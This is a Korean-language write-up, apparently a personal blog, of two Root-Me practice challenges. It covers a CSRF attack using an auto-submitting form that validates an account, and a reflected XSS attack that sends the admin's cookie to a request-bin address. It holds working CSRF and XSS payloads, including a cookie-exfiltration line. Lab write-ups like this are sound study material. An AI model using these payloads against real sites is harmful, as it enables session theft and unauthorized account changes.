Web-Client) CSRF, XSS reflected
Wargame/Root-Me

Web-Client) CSRF, XSS reflected

1. CSRF- 0 protection

: Activate your account to access intranet. 소스코드를 잘 살펴봐야 풀수 있는 문제 같다. 

 

: 일단 접속하면 register를 하고, 그 아이디 비번으로 로그인을 한다.

 : 그 후에 프로필 업데이트 페이지가 뜨는데, private 창으로 가면 admin에 의해 validate가 안됐다고 뜬다.

 그래서 일단 validate를 해줘야 할 것 같은데... 어디를 건드려서 csrf를 해야 할지 살펴보기로 했다.

여기저기 찾아보던 중에 status가 클릭되지 않고, submit을 누르면 admin이 아니라는 경고가 뜨는 카테고리를 발견했다.  아마도 이 status를 check상태로 만들어 줘야 하는 모양이다. 소스코드를 살펴보자.

 

: form이 post 상태로 되어있고, checkbox가 disable되어있다. 이를 check상태로 만들어 주기 위해서는 파라미터 전송방식이 아니라 form을 하나 새로 작성해줘야 할 것 같다.

 

<body onload="document.csrf.submit();"> 

<form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">

<input type="text" name="username" value="1234">

<input type="checkbox" name="status" checked>

<button type="submit">Submit</button>

</form>

 

폼을 필요한 부분만 빼서 작성하고,

 

관리자에게 메일 보내는 칸에 폼을 첨부해서 보낸다. 그러면 관리자가 잠시 후에 확인 할거라는 메세지가 뜬다.

잠깐 기다렸다가 private창으로 가면 플래그를 확인할 수 있다!

 

 

=> 저번 미니 ctf때 csrf 실습을 해봐서 그런지 익숙했다. 다른 root-me 문제 보다는 진짜 홈페이지 같아서 실습하기 좋은 것 같다.

 

2. XSS Reflected

:Find a way to steal the administrator’s cookie.

->이제 web client가 점수가 높아지면서 점점 어려워지는 것 같다..ㅠ.ㅠ

 

문제에 접속하면 홈페이지가 하나 뜬다.

: 여기서 일단 exploit 지점을 찾기가 힘들었다. 사이트 여기저기 둘러봐도 다 빈 링크이거나 훼이크여서...

그러다가 우선 reflected xss니까 파라미터에 공격을 넣어보기로 했다.

 

오.. <script>에 링크가 생성된다. 잘 이용하면 공격이 가능할 것 같다.

 

일단 이렇게 생겼기 때문에, 대충 태그 안을 완성시키면 xss 공격이 가능 할 것 같다.

<a href="?p="> 이렇게 생겼기 때문에, 이 안을 완성시켜줘야 할 것 같다.

그래서  onmouseover 태그를 더해주기로 했다.

<a href="?prices' onmouseover='alert(document.cookie)' "> 이런식으로 href에 포함되는 척하면서 alert 창을 실행시켰더니 

 

성공! 이제 쿠키만 빼내면 되겠다.

->일단 순순히 쿠키가 출력되지는 않았다. 여기서 request bin을 이용해야 했다.

내 홈페이지로 했더니 정보가 출력이 잘안돼서 구글링을 해보다가 찾았는데, 그냥 빈 사이트와 url을 제공해줘서 http 헤 더 정보를 얻거나 cookie를 탈취할때나 쓰기 좋은것 같다.

 

그리고 onmouseover 속성을 이용해서 +document.cookie도 해보고, concat으로 이어붙여도 보고, location.replace도 써보고... 몇시간을 잡아먹었다.

그 중 성공한 공격내용은 :

' onmouseover=window.location='개인 request bin 주소'.concat(document.cookie) 

 

를 누르고 report를 했더니... 

 request bin으로 플래그가 날아왔다..  사실 이렇게 한번에 풀진 못했고 payload를 엄청 많이 조합해봐야 했다. 

저 아래 request들이 다 실패의 흔적이다..  구글링도 엄청 필요했고 몇시간을 잡아먹은 문제.. 상당히 어려웠다. 

xss를 색다르게 할 수 있는 방법인 것 같다. 역시 파라미터를 잘 숨기자는 교훈을 얻었다.